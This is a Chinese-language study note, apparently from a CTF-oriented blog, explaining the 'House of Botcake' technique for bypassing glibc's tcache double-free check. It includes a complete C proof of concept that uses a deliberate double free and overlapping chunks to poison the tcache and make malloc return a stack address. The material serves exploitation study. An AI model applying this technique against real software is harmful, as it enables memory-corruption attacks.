House of Botcake
glibc-2.27
网上说在 glibc2.29 之後增加了對 tcache 的 double free 檢查,檢查方法是在 tcache fd 之後再增加 key 欄位。如下:
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;
欄位key指向的是该线程对应的tcache_perthread_struct结构体。当发现free掉的chunk->key == 该线程tcache_perthread_struct的地址时候,就会检查tcachebin时候已经有相同的chunk。如果有相同的chunk,就会导致应用程式被aborted。
不过,在我的ubuntu18,也就是glibc2.27上也有tcache的double free检查。由此可见,我们总是可以假定tcachebin是有double free检查的。但是,安全客上的博客仍然说明glibc2.27是没有double free check的,并且表明2.29的堆题在国内的比赛比较少见。
Any way,我们这里提到的house of botcake就是为了绕过tcachebin的double free检查的。通过将tcachebin填满7块以后,再利用程序中已有的double free漏洞进行任意地址分配。不过程序还是利用到了tcache的特性。
漏洞利用本质上还是tcache poisoning。
思路是先分配7个chunk,再分配一个prev和一个victim(前面9个chunk有相同的size),最后分配一个chunk防止合并到top chunk。然后,我们就将前7个chunk free掉使tcachebin填满。然后我们free 掉prev和victim,使得这两个chunk在unsortedbin中被合并。
接下来我们从tcachebin中拿掉一个chunk,触发漏洞double free victim使得victim进入tcache的顶部。然后这个时候我们可以分配一块比prev稍大的chunk,就可以改写在tcachebin中的victim中的next指针了。最后连续分配两个chunk就能实现任意地址分配。
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main()
{
/*
* This attack should bypass the restriction introduced in
* <https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d>
* If the libc does not include the restriction, you can simply double free the victim and do a
* simple tcache poisoning
* And thanks to @anton00b and @subwire for the weird name of this technique */
// disable buffering so _IO_FILE does not interfere with our heap
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// introduction
puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
puts("returning a pointer to an arbitrary location (in this demo, the stack).");
puts("This attack only relies on double free.\\n");
// prepare the target
intptr_t stack_var[4];
puts("The address we want malloc() to return, namely,");
printf("the target address is %p.\\n\\n", stack_var);
// prepare heap layout
puts("Preparing heap layout");
puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
puts("Allocating a chunk for later consolidation");
intptr_t *prev = malloc(0x100);
puts("Allocating the victim chunk.");
intptr_t *a = malloc(0x100);
printf("malloc(0x100): a=%p.\\n", a);
puts("Allocating a padding to prevent consolidation.\\n");
malloc(0x10);
// cause chunk overlapping
puts("Now we are able to cause chunk overlapping");
puts("Step 1: fill up tcache list");
for(int i=0; i<7; i++){
free(x[i]);
}
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
free(a);
puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
free(prev);
puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\\n");
malloc(0x100);
/*VULNERABILITY*/
free(a);// a is already freed
/*VULNERABILITY*/
// simple tcache poisoning
puts("Launch tcache poisoning");
puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk");
intptr_t *b = malloc(0x120);
puts("We simply overwrite victim's fwd pointer");
b[0x120/8-2] = (long)stack_var;
// take target out
puts("Now we can cash out the target chunk.");
malloc(0x100);
intptr_t *c = malloc(0x100);
printf("The new chunk is at %p\\n", c);
// sanity check
assert(c==stack_var);
printf("Got control on target/stack!\\n\\n");
// note
puts("Note:");
puts("And the wonderful thing about this exploitation is that: you can free victim again and modify the fwd pointer of victim");
puts("In that case, once you have done this exploitation, you can have many arbitrary writes very easily.");
free(a);// a is already freed
b[0x120/8-2] = (long)stack_var;
malloc(0x100);
intptr_t *d = malloc(0x100);
assert(d==stack_var);
return 0;
}